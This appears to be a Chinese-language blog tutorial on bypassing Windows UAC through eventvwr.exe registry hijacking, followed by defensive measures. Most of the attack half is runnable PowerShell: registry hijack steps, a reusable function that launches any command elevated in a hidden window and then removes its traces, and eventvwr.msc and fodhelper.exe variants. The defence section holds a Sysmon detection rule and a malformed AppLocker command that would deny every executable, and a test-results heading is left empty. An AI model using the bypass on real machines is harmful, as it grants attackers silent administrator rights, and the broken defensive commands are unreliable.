在 Windows 作業系統中,UAC 是一項用來防止未經授權的系統變更中重要的安全機制,
但後來安全研究人員也發現了很多繞過 UAC 的技術,
其中 eventvwr.exe 是一個經典的例子。
今天我們要來一起看看這個技術的原理、實作方式、在 Windows 11 上的現況,以及相應的防禦策略。
UAC (User Account Control) 是 Windows Vista 後引入的安全功能,主要功能大概是這些:
# 檢查當前 UAC 等級
Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin
# UAC 等級說明
# 0 = 永不通知(關閉 UAC)
# 1 = 僅在程式嘗試變更電腦時通知(不變暗桌面)
# 2 = 總是通知
# 5 = 預設 - 僅在程式嘗試變更電腦時通知(變暗桌面)
Event Viewer (eventvwr.exe) 是 Windows 內建的事件檢視器,用來查看系統、安全性和應用程式記錄。這個程式有幾個特點:
eventvwr.exe UAC 繞過的核心原理是利用了 Windows 的幾個特性:
某些 Windows 系統程式如果被標記為 "auto-elevate",就可以在不顯示 UAC 提示的情況下獲得管理員權限。eventvwr.exe 就是其中一個例子。
當 eventvwr.exe 啟動時,會嘗試開啟 MMC (Microsoft Management Console) 來顯示事件記錄。
過程中他會查詢這些註冊表路徑:
HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command
HKEY_LOCAL_MACHINE\Software\Classes\mscfile\shell\open\command
Windows 在查詢註冊表時,會先檢查 HKEY_CURRENT_USER (HKCU),然後才是 HKEY_LOCAL_MACHINE (HKLM)。
因為 HKCU 可以被當前使用者修改,我們可以在這裡植入惡意程式路徑
首先,我們需要在 HKCU 下創建必要的註冊表結構:
New-Item -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Force
將預設值設置為我們要執行的程式:
Set-ItemProperty -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Name "(Default)" -Value "C:\Windows\System32\cmd.exe"
要記得把 DelegateExecute 設為空字串:
Set-ItemProperty -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Name "DelegateExecute" -Value ""
當執行 eventvwr.exe 時,它會讀取我們設置的註冊表值:
Start-Process "eventvwr.exe"
function Invoke-EventVwrBypass {
param(
[Parameter(Mandatory=$true)]
[string]$Command
)
$regPath = "HKCU:\Software\Classes\mscfile\shell\open\command"
New-Item -Path $regPath -Force | Out-Null
Set-ItemProperty -Path $regPath -Name "(Default)" -Value $Command -Force
Set-ItemProperty -Path $regPath -Name "DelegateExecute" -Value "" -Force
Start-Process "eventvwr.exe" -WindowStyle Hidden
Start-Sleep -Seconds 3
Remove-Item -Path "HKCU:\Software\Classes\mscfile" -Recurse -Force
}
Invoke-EventVwrBypass -Command "cmd.exe /k whoami /priv"
函數參數定義
$Command
:必要參數,指定要執行的命令路徑註冊表路徑設定
HKCU:\Software\Classes\mscfile\shell\open\command
作為劫持路徑註冊表創建與設定
New-Item -Force
強制創建整個路徑結構,包含所有必要的父級目錄(Default)
值設定為要執行的命令,這是 eventvwr.exe 會讀取並執行的值DelegateExecute
必須設為空字串,否則 Windows 會使用 COM 物件而非我們的命令觸發執行
Start-Process
啟動 eventvwr.exe-WindowStyle Hidden
參數隱藏視窗清理作業
-Recurse
參數完整移除 mscfile在測試中有發現,雖然 eventvwr.exe 已被修掉了,但直接執行 MSC 檔案還是可以觸發註冊表劫持:
# eventvwr.msc 變種
Start-Process "eventvwr.msc" # 仍會讀取劫持的註冊表
類似的技術可應用於其他 auto-elevate 程式:
# fodhelper.exe (已經被 patch 掉了, Defender 關閉還是可以觸發管理員權限)
$regPath = "HKCU:\Software\Classes\ms-settings\shell\open\command"
New-Item -Path $regPath -Force | Out-Null
Set-ItemProperty -Path $regPath -Name "(Default)" -Value "cmd.exe"
Set-ItemProperty -Path $regPath -Name "DelegateExecute" -Value ""
Start-Process "fodhelper.exe"
在 Windows 11 Build 26100 的測試中:
監控對以下註冊表路徑的修改:
HKCU\Software\Classes\mscfile
HKCU\Software\Classes\ms-settings
使用 AppLocker 或 Windows Defender Application Control (WDAC) 限制可執行的程式。
# AppLocker
New-AppLockerPolicy -RuleType Exe -User Everyone -Action Deny -Path "C:\*\*.exe"
將 UAC 設置為最高等級,要求所有程式都需要管理員確認:
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorAdmin" -Value 2
配置 Sysmon 監控相關事件:
<Sysmon schemaversion="4.22">
<EventFiltering>
<RuleGroup name="UAC Bypass Detection">
<RegistryEvent onmatch="include">
<TargetObject condition="contains">Software\Classes\mscfile</TargetObject>
</RegistryEvent>
<ProcessCreate onmatch="include">
<Image condition="end with">eventvwr.exe</Image>
<ParentImage condition="end with">eventvwr.exe</ParentImage>
</ProcessCreate>
</RuleGroup>
</EventFiltering>
</Sysmon>
啟用 PowerShell 腳本區塊日誌記錄:
# 啟用 PowerShell 日誌
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
HKCU\Software\Classes\mscfile\shell\open\command